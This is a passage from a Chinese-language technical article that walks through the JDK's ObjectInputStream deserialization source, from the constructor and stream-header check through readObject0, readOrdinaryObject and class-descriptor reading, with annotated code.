ObjectOutputStream 的构造方法一样——在该构造函数的开始,首先会调用 verifySubclass 方法处理缓存信息,要求该类(或子类)进行验证——验证是否可以在不违反安全约束的情况下构造此实例。

1
2
// 子类校验:若为自定义子类并重写了安全敏感方法,则需具备相应权限
verifySubclass();

然后和 ObjectOutputStream 不同的是,在 ObjectOutputStream 中我们初始化的对象是 bouthandlessubs 以及 enableOverride,但是在 ObjectInputStream 中,我们初始化的对象变成了 binhandlesvlist 以及 enableOverride

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 将底层 InputStream 包装为“块数据输入流”:
// Java 序列化协议中,原始类型/小块数据以 Block-Data 形式编码,这里负责解包与模式切换
bin = new BlockDataInputStream(in);

// 句柄表(接收端):按 wire handle(0x7E0000 起)映射到实际对象,
// 用于解析 TC_REFERENCE,并正确还原共享引用/循环引用
handles = new HandleTable(10);

// 验证回调列表:用于 registerValidation(ObjectInputValidation, prio)
// 在对象图完全构建后按优先级调用,做一致性校验
vlist = new ValidationList();

// 反序列化过滤器(JDK 9+):从全局配置读取当前的 ObjectInputFilter,
// 用于在读取过程中对类/数组长度/引用深度等做策略性拦截(防御“有害反序列化”)
// 若后续调用 setObjectInputFilter(...) 设置了流级过滤器,则以流级为准
serialFilter = ObjectInputFilter.Config.getSerialFilter();

// 标记是否由子类完全接管读取流程;公开构造器中为 false(使用标准实现)
enableOverride = false;

在几个成员属性都被初始化后,调用 readStreamHeader() 方法先验证魔数和序列化的版本是否匹配。

1
2
// 读取并校验序列化流头部:期待 0xAC ED 00 05(magic + version),不符则抛 StreamCorruptedException
readStreamHeader();

如果不匹配则抛出序列化的 StreamCorruptedMismatch 异常:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected void readStreamHeader()
throws IOException, StreamCorruptedException
{
// 读取两个 16 位短整型:先是“魔数”,再是“版本号”
short s0 = bin.readShort(); // 期望 0xACED
short s1 = bin.readShort(); // 期望 0x0005

// 校验失败则抛异常;消息里以 16 进制显示实际读到的值
if (s0 != STREAM_MAGIC || s1 != STREAM_VERSION) {
throw new StreamCorruptedException(
String.format("invalid stream header: %04X%04X", s0, s1));
// 说明:上面的格式化仅用于日志展示;判定条件已用精确比较完成。
}
}

readObject 反序列化

ObjectInputStreampublic 构造方法走完后,才会调用 readObject() 开始写对象数据,该方法的主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/**
* 从 ObjectInputStream 读取一个对象。
*
* <p>读取内容包括:对象的<b>运行时类</b>、该类的<b>类描述信息</b>(如 SUID、标志、字段列表),
* 以及该类及其所有父类中<b>非 transient 且非 static</b>字段的值。对象图会被<b>传递性</b>地恢复,
* 从而重建与写出时等价的对象图结构。
*
* <p>当根对象的所有字段以及其引用到的所有对象都完全恢复后,按注册优先级执行对象校验回调
* (ObjectInputValidation)。这些回调通常在各对象的 readObject(...) 中通过
* registerValidation(...) 注册。
*
* <p>异常处理:若底层输入流或类加载/协议不匹配等出现问题,会抛出相应异常;这些异常对本流是
* “致命”的,调用方需自行决定忽略或恢复流状态。
*
* @return 读取到的对象(可能为 null)
* @throws ClassNotFoundException 反序列化到的类在当前 JVM 中不可用
* @throws InvalidClassException 序列化使用的某个类不合法(如 SUID 不匹配等)
* @throws StreamCorruptedException 流中的控制信息不一致(魔数/版本/标记错误等)
* @throws OptionalDataException 在期望读取“对象”时遇到了原始数据块
* @throws IOException 其它 I/O 相关异常
*/
public final Object readObject()
throws IOException, ClassNotFoundException
{
// 若处于“子类完全接管模式”(通过受保护构造器启用),调用子类覆盖实现
if (enableOverride) {
return readObjectOverride();
}

// 若当前是在嵌套读取(例如在某对象的 readObject 中再次 readObject),
// passHandle 持有“外层(封闭)对象”的句柄;这里先保存它,便于 finally 恢复。
int outerHandle = passHandle;
try {
// 核心读取:readObject0(false) 执行协议解析、类描述读取、对象分配、
// 默认/自定义读取、Externalizable 分支、以及句柄表登记等。
// 参数 false 表示采用“共享语义”(对应 writeObject);readUnshared 会传 true。
Object obj = readObject0(false);

// 把“外层对象”标记为依赖当前刚读出的“内层对象”(passHandle 指向刚完成的对象句柄)。
// 若内层对象随后被解析为“类缺失”等异常,外层对象也应感知到该失败。
handles.markDependency(outerHandle, passHandle);

// 如果在读取该对象期间曾记录过 ClassNotFoundException(例如某字段类型找不到),
// 此处将其取出并抛出给调用者。
ClassNotFoundException ex = handles.lookupException(passHandle);
if (ex != null) {
throw ex;
}

// 当回到最外层(depth == 0),说明根对象已完全恢复:
// 现在按优先级执行所有已注册的对象校验回调(ObjectInputValidation)。
if (depth == 0) {
vlist.doCallbacks();
}
return obj;
} finally {
// 恢复外层句柄(保持嵌套读取时的上下文正确)
passHandle = outerHandle;

// 如果在读取过程中流被关闭,并且已经回到最外层,则清理内部状态与缓存
if (closed && depth == 0) {
clear();
}
}
}

这个方法是ObjectInputStream对外的反序列化的入口,但其实它并不是核心方法,只是用于判断应该调用 readObjectOverride 还是 readObject0 方法(enableOverride 决定)

readObject0

由于在 ObjectInputStreampublic 构造方法中已经初始化了 enableOverride = false,所以直接跳过第一个if分支(不调用 readObjectOverride 方法),进入 readObject0 方法,该方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
/**
* 底层的 readObject 实现(供 readObject / readUnshared 调用)。
*
* 语义总览:
* - 负责解析当前流位置的“类型码”(TC_*),并分派到相应读取路径:
* null / 引用 / 类对象 / 类描述符 / 字符串 / 数组 / 枚举 / 常规对象 / 致命异常 等。
* - 处理块数据模式(Block-Data)与结构化标记模式之间的切换,以及
* OptionalDataException 的几种触发情形。
* - 处理 TC_RESET(来自写端的 reset()),以及嵌套读取的深度计数。
*
* @param unshared 是否采用“非共享”语义(对应 readUnshared)
* @throws OptionalDataException 当在期望读对象时遇到“块内原始数据”或“块结束”信号
* @throws StreamCorruptedException 流控制信息不一致/非法
* @throws IOException 其它 I/O 异常
*/
private Object readObject0(boolean unshared) throws IOException {
// 记录进入前是否在“块数据模式”(Block-Data mode):
// - 在自定义 readObject(..)/readExternal(..) 内部读取原始数据时,通常处于块模式;
// - 要读取“结构化标记”(TC_*)前,需要切到“非块模式”来取类型码。
boolean oldMode = bin.getBlockDataMode();

if (oldMode) {
// 仍在一个未消费完的“块”里
int remain = bin.currentBlockRemaining();
if (remain > 0) {
// 情形 1:块里仍有 N 字节未读,但此时调用方却想读“对象”
// → 按规范抛出 OptionalDataException(N),提示还有 N 字节原始数据待消费
throw new OptionalDataException(remain);
} else if (defaultDataEnd) {
/*
* 修复 4360508:
* 当前位于“默认序列化字段数据”的块末尾;该数据段没有显式的 TC_ENDBLOCKDATA,
* 这里模拟“自定义数据结束”的行为,抛出 OptionalDataException(eof=true),
* 让上层的 readObject(..) 正确收尾。
*/
throw new OptionalDataException(true);
}
// 已经不在块中(remain==0 且非 defaultDataEnd),切换到“非块模式”以读取类型码
bin.setBlockDataMode(false);
}

// 读取前先窥视一个字节(不消费):若是 TC_RESET,需先处理 reset。
byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte(); // 真正消费掉这个标记
handleReset(); // 清空句柄表/校验列表等(仅允许在非嵌套处触发)
}

// 进入一次“对象级读取”:
depth++; // 嵌套深度(用于控制校验回调、禁止中途 reset 等)
totalObjectRefs++; // 统计计数(可能用于反序列化过滤器的限额评估)
try {
switch (tc) {
case TC_NULL:
// 空引用
return readNull();

case TC_REFERENCE:
// 句柄回引:根据 wire handle 取回已构建对象
return readHandle(unshared);

case TC_CLASS:
// 类对象(java.lang.Class)的读取
return readClass(unshared);

case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
// 类描述符(普通/动态代理)
return readClassDesc(unshared);

case TC_STRING:
case TC_LONGSTRING:
// 短/长字符串 → 读出后,经过 resolveObject(..)(若启用)再返回
return checkResolve(readString(unshared));

case TC_ARRAY:
// 数组
return checkResolve(readArray(unshared));

case TC_ENUM:
// 枚举常量:按名称与枚举类恢复
return checkResolve(readEnum(unshared));

case TC_OBJECT:
// 常规对象:分派到“普通可序列化 / Externalizable / 自定义 readObject”路径
return checkResolve(readOrdinaryObject(unshared));

case TC_EXCEPTION: {
// 写端在最外层失败时写入的“致命异常对象”
// 读取后包装为 WriteAbortedException 抛出
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
}

case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
// 这里出现块数据标记有两种情形:
// - 若进入本方法前就处于“块模式”(oldMode==true),说明调用者在读对象前
// 还残留有一段块数据。切回块模式,强制解析块头,然后抛 ODE(len),
// 让上层先把这段原始数据读完。
// - 否则(oldMode==false),在“期待类型码”的位置遇到块标记 → 协议错误。
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // 触发读取块头,使 currentBlockRemaining() 可用
throw new OptionalDataException(bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException("unexpected block data");
}

case TC_ENDBLOCKDATA:
// 同理:若之前处于块模式,则把它视为“自定义数据结束”信号(eof=true);
// 否则是在不该出现的地方遇到 end 标记 → 协议错误。
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException("unexpected end of block data");
}

default:
// 未知/非法类型码
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
// 恢复嵌套深度与进入前的块模式
depth--;
bin.setBlockDataMode(oldMode);
}
}

readObject0 最开始的地方会先检查当前是否是 Data Block 模式读取:

1
2
3
4
5
6
7
8
// 记录进入前是否在“块数据模式”(Block-Data mode):
// - 在自定义 readObject(..)/readExternal(..) 内部读取原始数据时,通常处于块模式;
// - 要读取“结构化标记”(TC_*)前,需要切到“非块模式”来取类型码。
boolean oldMode = bin.getBlockDataMode();

if (oldMode) {
// [...]
}

如果检测的结果是 Data Block 模式,则满足下面两种情况之一则抛出 java.io.OptionalDataException 异常信息。

  • 字节流中剩余的字节数量 currentBlockRemaining 大于 0,也就是你当前还在块里,而且还有字节没读完
  • defaultDataEnd 的值为 true,也就是虽然块里的字节已经读完了,但因为写入端没有明确写 TC_ENDBLOCKDATA,所以我(读取端)需要**主动抛一个 OptionalDataException(eof=true)**,告诉你‘块已经结束了’。

也就是说这里的意思是你还处在“块数据模式”中,不能直接读取对象(结构化数据),必须先处理完块数据或者正确结束块。否则我抛 OptionalDataException 提醒你怎么做

经过这些判断后,会在 if 分支的最后关闭 Data Block 模式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 记录进入前是否在“块数据模式”(Block-Data mode):
// - 在自定义 readObject(..)/readExternal(..) 内部读取原始数据时,通常处于块模式;
// - 要读取“结构化标记”(TC_*)前,需要切到“非块模式”来取类型码。
boolean oldMode = bin.getBlockDataMode();

if (oldMode) {
// 仍在一个未消费完的“块”里
int remain = bin.currentBlockRemaining();
if (remain > 0) {
// 情形 1:块里仍有 N 字节未读,但此时调用方却想读“对象”
// → 按规范抛出 OptionalDataException(N),提示还有 N 字节原始数据待消费
throw new OptionalDataException(remain);
} else if (defaultDataEnd) {
/*
* 修复 4360508:
* 当前位于“默认序列化字段数据”的块末尾;该数据段没有显式的 TC_ENDBLOCKDATA,
* 这里模拟“自定义数据结束”的行为,抛出 OptionalDataException(eof=true),
* 让上层的 readObject(..) 正确收尾。
*/
throw new OptionalDataException(true);
}
// 已经不在块中(remain==0 且非 defaultDataEnd),切换到“非块模式”以读取类型码
bin.setBlockDataMode(false);
}

之后针对不同类型的反序列化数据,会进入不同的分支进行反序列化。对于对象类型进入的是 readOrdinaryObject 函数进行反序列化。

1
2
3
case TC_OBJECT:
// 常规对象:分派到“普通可序列化 / Externalizable / 自定义 readObject”路径
return checkResolve(readOrdinaryObject(unshared));

readOrdinaryObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/**
* 读取并返回一个“普通对象”(ordinary object):
* 非 String、非 Class、非 ObjectStreamClass、非数组、非枚举。
* 若该对象的运行时类无法解析(类缺失),返回 null,并把 ClassNotFoundException
* 绑定在该对象的句柄上(handles),调用方随后会感知并抛出异常。
*
* 读取完成后,passHandle 会被设置为此对象分配到的句柄。
*
* @param unshared 是否采用“非共享”语义(对应 readUnshared)
*/
private Object readOrdinaryObject(boolean unshared) throws IOException {
// 期望当前位置是一个“对象起始”标记
if (bin.readByte() != TC_OBJECT) {
throw new InternalError();
}

// 读取类描述符(可能是 TC_CLASSDESC 或 TC_PROXYCLASSDESC),并完成若干一致性校验
ObjectStreamClass desc = readClassDesc(false);
desc.checkDeserialize(); // 检查该类是否允许反序列化、接口/构造器/版本等条件(不满足会抛 InvalidClassException)

// 拿到运行时类
Class<?> cl = desc.forClass();
// “普通对象”路径不应该出现这些类型;若遇到说明协议/编码路径出错
if (cl == String.class || cl == Class.class || cl == ObjectStreamClass.class) {
throw new InvalidClassException("invalid class descriptor");
}

// 分配实例:
// - 对于 Serializable:使用反射工厂“分配但不执行构造器”(specially crafted ctor)
// - 对于 Externalizable:调用 public 无参构造器
Object obj;
try {
obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
throw (IOException) new InvalidClassException(
desc.forClass().getName(), "unable to create instance").initCause(ex);
}

// 为该对象分配/登记句柄:
// - 共享语义:登记 obj 本身
// - 非共享语义:登记特殊标记 unsharedMarker(禁止后续引用回指)
passHandle = handles.assign(unshared ? unsharedMarker : obj);

// 若类解析阶段曾记录过 ClassNotFoundException,则把异常绑定到该句柄
ClassNotFoundException resolveEx = desc.getResolveException();
if (resolveEx != null) {
handles.markException(passHandle, resolveEx);
}

// 读取“实例数据区”
if (desc.isExternalizable()) {
// Externalizable:由对象自己的 readExternal 完全掌控读取
readExternalData((Externalizable) obj, desc);
} else {
// Serializable:逐层(父→子)读取
// - 若声明了 readObject:进入块数据模式读“自定义区”,直到 TC_ENDBLOCKDATA
// - 否则:按字段表默认读取(原始类型/对象字段)
readSerialData(obj, desc);
}

// 标记本句柄完成构建(便于触发校验回调依赖、清理临时状态等)
handles.finish(passHandle);

// readResolve:若定义了私有 readResolve(),允许把 obj 替换为“解析后对象”
if (obj != null &&
handles.lookupException(passHandle) == null && // 构建期间无解析异常
desc.hasReadResolveMethod())
{
Object rep = desc.invokeReadResolve(obj); // 可能返回同一对象或一个替代对象

// 非共享语义 + 返回的是数组:为保证“对象身份不共享”,对数组做一次克隆
if (unshared && rep.getClass().isArray()) {
rep = cloneArray(rep);
}

if (rep != obj) {
// 反序列化过滤器检查(JDK9+):对替代对象做类/长度等策略校验
if (rep != null) {
if (rep.getClass().isArray()) {
filterCheck(rep.getClass(), Array.getLength(rep));
} else {
filterCheck(rep.getClass(), -1);
}
}
// 用替代对象更新句柄表与返回值
handles.setObject(passHandle, obj = rep);
}
}

return obj;
}

首先会再次判断读到的标识是不是 TC_OBJECT,如果不是,那么直接抛出 InternalError 错误。

1
2
3
4
// 期望当前位置是一个“对象起始”标记
if (bin.readByte() != TC_OBJECT) {
throw new InternalError();
}

之后调用 readClassDesc 函数系统中读取当前 Java 对象所属类的描述信息。在这个过程中会完成本地类加载,并且 JEP290 也是在这一步进行检查的。

1
2
// 读取类描述符(可能是 TC_CLASSDESC 或 TC_PROXYCLASSDESC),并完成若干一致性校验
ObjectStreamClass desc = readClassDesc(false);

然后和序列化开始时类似,同样检测当前处理的对象是否是一个可反序列化的对象(checkDeserialize()),如果是,那么就从中读取当前 Java 对象所属类。

1
2
3
4
desc.checkDeserialize(); // 检查该类是否允许反序列化、接口/构造器/版本等条件(不满足会抛 InvalidClassException)

// 拿到运行时类
Class<?> cl = desc.forClass();

紧接着是“协议一致性保护”——这些类型不应该出现在普通对象路径里,若出现说明编码/协议有误(例如手工构造了非法流)。

1
2
3
if (cl == String.class || cl == Class.class || cl == ObjectStreamClass.class) {
throw new InvalidClassException("invalid class descriptor");
}

然后这一段使用了 ObjectStreamClass 的方法 newInstance() 创建类的实例。并且为当前构建的对象分配一个句柄(handle),并记录在 passHandle

1
2
3
4
5
6
7
8
9
Object obj;
try {
obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
throw (IOException) new InvalidClassException(
desc.forClass().getName(), "unable to create instance").initCause(ex);
}

passHandle = handles.assign(unshared ? unsharedMarker : obj);

如果在 desc.forClass() 阶段遇到了 ClassNotFoundException,这里将它挂在句柄上;稍后如果有其它对象依赖此句柄,会一起抛出 WriteAbortedException

1
2
3
4
ClassNotFoundException resolveEx = desc.getResolveException();
if (resolveEx != null) {
handles.markException(passHandle, resolveEx);
}

若对象是 Externalizable,直接调用 readExternal()(需读块数据);否则按 ObjectStreamClass 的类层级,自上而下读取:

  • 若某一层有 readObject(),进入块模式、调用该方法
  • 否则默认读取该层字段(primitive + object)
1
2
3
4
5
if (desc.isExternalizable()) {
readExternalData((Externalizable) obj, desc);
} else {
readSerialData(obj, desc);
}

passHandle 状态从 READING → OK 允许后续的 TC_REFERENCE 安全回引,同时触发依赖当前句柄的等待者的状态更新(用于异常传播/校验依赖)。

1
handles.finish(passHandle);

若定义了 private Object readResolve() 方法,会被调用,用于替换成枚举常量、缓存实例、代理对象等。如单例类在反序列化后替换回原始单例对象。

1
2
3
4
5
if (obj != null &&
handles.lookupException(passHandle) == null &&
desc.hasReadResolveMethod())
{
Object rep = desc.invokeReadResolve(obj); // 返回可能是 obj 本身或另一个替代对象

如果是 readUnshared() 路径 + 替代对象是数组,那么数组要做 clone(),避免共享引用。

1
2
3
if (unshared && rep.getClass().isArray()) {
rep = cloneArray(rep);
}

如果 readResolve 返回的不是原对象(说明替换了),且开启了 ObjectInputFilter,则执行安全策略检查。

1
2
3
4
5
6
7
8
9
10
if (rep != obj) {
if (rep != null) {
if (rep.getClass().isArray()) {
filterCheck(rep.getClass(), Array.getLength(rep));
} else {
filterCheck(rep.getClass(), -1);
}
}
handles.setObject(passHandle, obj = rep);
}

readClassDesc

readClassDesc 根据数据类型调用对应的函数读取类描述信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/**
* 读取并返回(可能为 null 的)“类描述符”(ObjectStreamClass,简称 OSC)。
*
* 语义要点:
* - 本方法会把当前位置的类型码(TC_*)解析为一个类描述符:
* * TC_NULL → 返回 null;
* * TC_REFERENCE → 返回之前读过并缓存的 OSC(句柄回引);
* * TC_PROXYCLASSDESC → 读取“动态代理类”的描述符;
* * TC_CLASSDESC → 读取“普通类(非代理)”的描述符。
* - 读取完成后,{@code passHandle} 会被设置为“该类描述符对象”的句柄 ID
* (在 TC_NULL 时通常设置为特殊值)。
* - 若该描述符无法在本地 JVM 解析为 Class(类缺失/类加载失败),则会把
* {@link ClassNotFoundException} 绑定到该描述符对应的句柄上;上层在合适的位置
* 会重新抛出该异常。
*
* @param unshared 是否采用“非共享”语义(readUnshared 场景下为 true);
* 对于类描述符通常仍走共享语义,遇到 TC_REFERENCE 时会有额外检查。
* @return 读取到的 ObjectStreamClass 或 null
* @throws IOException I/O 或协议读取错误
* @throws StreamCorruptedException 类型码非法/流控制信息不一致
*/
private ObjectStreamClass readClassDesc(boolean unshared) throws IOException {
// 先窥视一个字节(不消费),判断接下来要读的是哪一种“类描述相关结构”
byte tc = bin.peekByte();
ObjectStreamClass descriptor;

switch (tc) {
case TC_NULL:
// 空引用:消费并返回 null;passHandle 会相应更新为“无效句柄”
descriptor = (ObjectStreamClass) readNull();
break;

case TC_REFERENCE:
// 句柄回引:消费并从句柄表中取回之前读取过的类描述符
// (若为 unshared 语义,会做“不允许别名共享”的校验)
descriptor = (ObjectStreamClass) readHandle(unshared);
break;

case TC_PROXYCLASSDESC:
// 动态代理类的类描述符:读取接口列表、注解块、父类描述符等
descriptor = readProxyDesc(unshared);
break;

case TC_CLASSDESC:
// 普通类(非代理)的类描述符:读取类名、SUID、flags、字段表、注解块、父类描述符等
descriptor = readNonProxyDesc(unshared);
break;

default:
// 在“期待类描述符”的位置读到未知类型码 → 流已损坏或写入端不遵守协议
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}

// 若成功得到一个非空的描述符,做一次一致性/安全校验(可能结合反序列化过滤器等)
if (descriptor != null) {
validateDescriptor(descriptor);
}
return descriptor;
}

这里读取类描述信息的过程跟之前序列化过程相反,主要是根据序列化数据中的类描述信息创建一个 ObjectStreamClass 返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
/**
* 读取并处理“空引用”标记,设置 passHandle 为 NULL_HANDLE 并返回 null。
*/
private Object readNull() throws IOException {
// 期望并消费结构化标记 TC_NULL(0x70)
if (bin.readByte() != TC_NULL) {
throw new InternalError();
}
// 对应“无对象”——设置当前句柄为特殊的 NULL_HANDLE
passHandle = NULL_HANDLE;
return null;
}

/**
* 读取并处理“对象句柄引用”(TC_REFERENCE),把 passHandle 设为读到的句柄,
* 并返回该句柄对应的对象实例。
*
* 语义说明:
* - 写端若多次写出同一对象,首次写“本体”,随后写“引用”:TC_REFERENCE + wireHandle。
* - wireHandle = baseWireHandle(0x7E0000) + localIndex(本地句柄表下标)。
* - 读端读到 TC_REFERENCE 后减去 base 得到本地句柄下标,到 handles 表中取对象。
*
* 与 unshared 的关系:
* - 当上层使用 readUnshared(...) 时,引用语义被禁止:
* * 若此处遇到 TC_REFERENCE,则直接抛 InvalidObjectException;
* * 若句柄指向的是“以非共享方式登记”的对象(unsharedMarker),也抛异常。
*/
private Object readHandle(boolean unshared) throws IOException {
// 期望并消费结构化标记 TC_REFERENCE(0x71)
if (bin.readByte() != TC_REFERENCE) {
throw new InternalError();
}

// 读取 4 字节 wire handle,并还原为本地句柄表下标:passHandle
passHandle = bin.readInt() - baseWireHandle;

// 基本健全性检查:下标必须落在已分配范围内
if (passHandle < 0 || passHandle >= handles.size()) {
throw new StreamCorruptedException(
String.format("invalid handle value: %08X", passHandle + baseWireHandle));
}

// 非共享语义下不允许“读回引用”(别名共享被禁止)
if (unshared) {
// 注:原实现里 REMIND 注释讨论异常类型,这里按 JDK 用法抛 InvalidObjectException
throw new InvalidObjectException("cannot read back reference as unshared");
}

// 查出该句柄所对应的对象
Object obj = handles.lookupObject(passHandle);

// 若该句柄对应的是“非共享标记”(说明写端以 unshared 方式登记过该对象),
// 则同样不允许通过引用读回(违背非共享语义)
if (obj == unsharedMarker) {
throw new InvalidObjectException("cannot read back reference to unshared object");
}

// 反序列化过滤器计数检查(不带具体类,仅校验引用计数/深度等配额)
filterCheck(null, -1);

return obj;
}

/**
* 读取并返回“动态代理类(Proxy)”的类描述符(ObjectStreamClass)。
*
* 语义要点:
* - 流格式(与写端 writeProxyDesc 对称):
* TC_PROXYCLASSDESC
* int interfaceCount
* UTF interfaceName[interfaceCount]
* classAnnotations (以 Block-Data 多段写入,随后 TC_ENDBLOCKDATA)
* superClassDesc
*
* - 读取完成后:
* * 为该描述符分配的句柄会写入 handles,并把 passHandle 设为该句柄;
* * 若无法把接口列表解析成本地 VM 中的 Class(类/接口缺失),会把
* ClassNotFoundException 记录到该描述符句柄上(上层稍后会感知并抛出)。
*
* - 反序列化过滤(JDK 9+):对解析到的接口与代理类本身都会做 filterCheck,
* 可用于阻断危险类型/过大结构。
*
* @param unshared 是否采用“非共享”语义(readUnshared 调用场景)
* @return 读取到的代理类描述符
* @throws IOException I/O 或协议错误
* @throws StreamCorruptedException 类型码不符合预期
* @throws InvalidObjectException 接口数量异常等结构问题
* @throws InvalidClassException 解析得到的 Class 不是代理类等
*/
private ObjectStreamClass readProxyDesc(boolean unshared) throws IOException {
// 1) 期望并消费“代理类描述符”标记
if (bin.readByte() != TC_PROXYCLASSDESC) {
throw new InternalError();
}

// 2) 构建一个空的 OSC,并为其分配句柄(根据 unshared 决定是否可被回引)
ObjectStreamClass desc = new ObjectStreamClass();
int descHandle = handles.assign(unshared ? unsharedMarker : desc);

// 在真正完成前,先把 passHandle 置为 NULL_HANDLE,避免“半成品”被外部误用
passHandle = NULL_HANDLE;

// 3) 读取“接口列表”
int numIfaces = bin.readInt();
if (numIfaces > 65535) { // 保护性限制(协议/实现内的安全上限)
throw new InvalidObjectException("interface limit exceeded: " + numIfaces);
}
String[] ifaces = new String[numIfaces];
for (int i = 0; i < numIfaces; i++) {
ifaces[i] = bin.readUTF(); // 每个接口的全限定名
}

// 4) 解析为本地 Class(可能失败)
Class<?> cl = null;
ClassNotFoundException resolveEx = null;

// 切到“块数据模式”,为稍后读取/跳过注解块(classAnnotations)做准备
bin.setBlockDataMode(true);
try {
// 尝试把接口名数组解析成一个代理类(由 resolveProxyClass 钩子决定如何加载)
if ((cl = resolveProxyClass(ifaces)) == null) {
resolveEx = new ClassNotFoundException("null class");
} else if (!Proxy.isProxyClass(cl)) {
// 解析回来的并非真正的代理类
throw new InvalidClassException("Not a proxy");
} else {
// 包访问检查:防止自定义子类借此越权访问受限包下的类型
ReflectUtil.checkProxyPackageAccess(getClass().getClassLoader(), cl.getInterfaces());
// 对每个接口做反序列化过滤器检查(可按策略拒绝)
for (Class<?> itf : cl.getInterfaces()) {
filterCheck(itf, -1);
}
}
} catch (ClassNotFoundException ex) {
// 记录“无法解析类”的异常,稍后绑定到描述符句柄
resolveEx = ex;
}

// 在读取更多内容前,先对“解析到的代理类本身”做一次过滤检查(早失败)
filterCheck(cl, -1);

// 5) 跳过“类注解块”(classAnnotations):
// - 写端可能写了若干 TC_BLOCKDATA / TC_BLOCKDATALONG;必须读到 TC_ENDBLOCKDATA
// - skipCustomData() 内部会消费这些块,并在结尾切回“非块模式”
skipCustomData();

// 6) 读取“父类描述符”(superClassDesc),并初始化 OSC
try {
totalObjectRefs++; // 统计(可被过滤器用于限额判断)
depth++; // 嵌套深度(控制回调/异常传播范围)
// initProxy:把“解析到的 Class(或异常)”与“父类描述符”写入本 OSC
desc.initProxy(cl, resolveEx, readClassDesc(false));
} finally {
depth--;
}

// 7) 完成该描述符的构建,允许后续通过句柄回引
handles.finish(descHandle);
passHandle = descHandle;
return desc;
}

/**
* 读取并返回“普通类(非动态代理)”的类描述符(ObjectStreamClass)。
*
* 流格式(与写端 writeNonProxyDesc 对称):
* TC_CLASSDESC
* classDescBody // 类名、SUID、flags、字段表(由 readClassDescriptor 读取)
* classAnnotations (Block-Data) // 可选注解块,随后 TC_ENDBLOCKDATA
* superClassDesc // 父类的类描述符(递归;到 Object 为 TC_NULL)
*
* 读取完成后:
* - 为该描述符分配的句柄记录在 handles,并将 passHandle 设为该句柄;
* - 若不能将该描述符解析为本地 JVM 中的 Class,则把 ClassNotFoundException
* 绑定到该描述符句柄(上层稍后会感知并抛出)。
*
* @param unshared 是否采用“非共享”语义(readUnshared 场景)
* @return 读取到的 ObjectStreamClass
* @throws IOException I/O 或协议错误
* @throws StreamCorruptedException 类型码非法
* @throws InvalidClassException 读取类描述符体失败等
*/
private ObjectStreamClass readNonProxyDesc(boolean unshared) throws IOException {
// 1) 期望并消费“普通类描述符”标记
if (bin.readByte() != TC_CLASSDESC) {
throw new InternalError();
}

// 2) 创建空的 OSC,并分配句柄(unshared 时登记特殊标记以禁止后续回引)
ObjectStreamClass desc = new ObjectStreamClass();
int descHandle = handles.assign(unshared ? unsharedMarker : desc);
// 在真正完成前,passHandle 暂置为空,避免“半成品”被使用
passHandle = NULL_HANDLE;

// 3) 读取“类描述符主体”(classDescBody)
// - 等价于写端的 writeClassDescriptor(desc)
// - 包括:类名、serialVersionUID、flags、字段表等
ObjectStreamClass readDesc = null;
try {
readDesc = readClassDescriptor();
} catch (ClassNotFoundException ex) {
// 读取“主体”阶段就需要加载某些类型签名,失败则包装为 InvalidClassException
throw (IOException) new InvalidClassException(
"failed to read class descriptor").initCause(ex);
}

// 4) 尝试把描述符解析为本地 Class,并做包访问校验
Class<?> cl = null;
ClassNotFoundException resolveEx = null;

// 切到块数据模式,准备读取/跳过“类注解块”(classAnnotations)
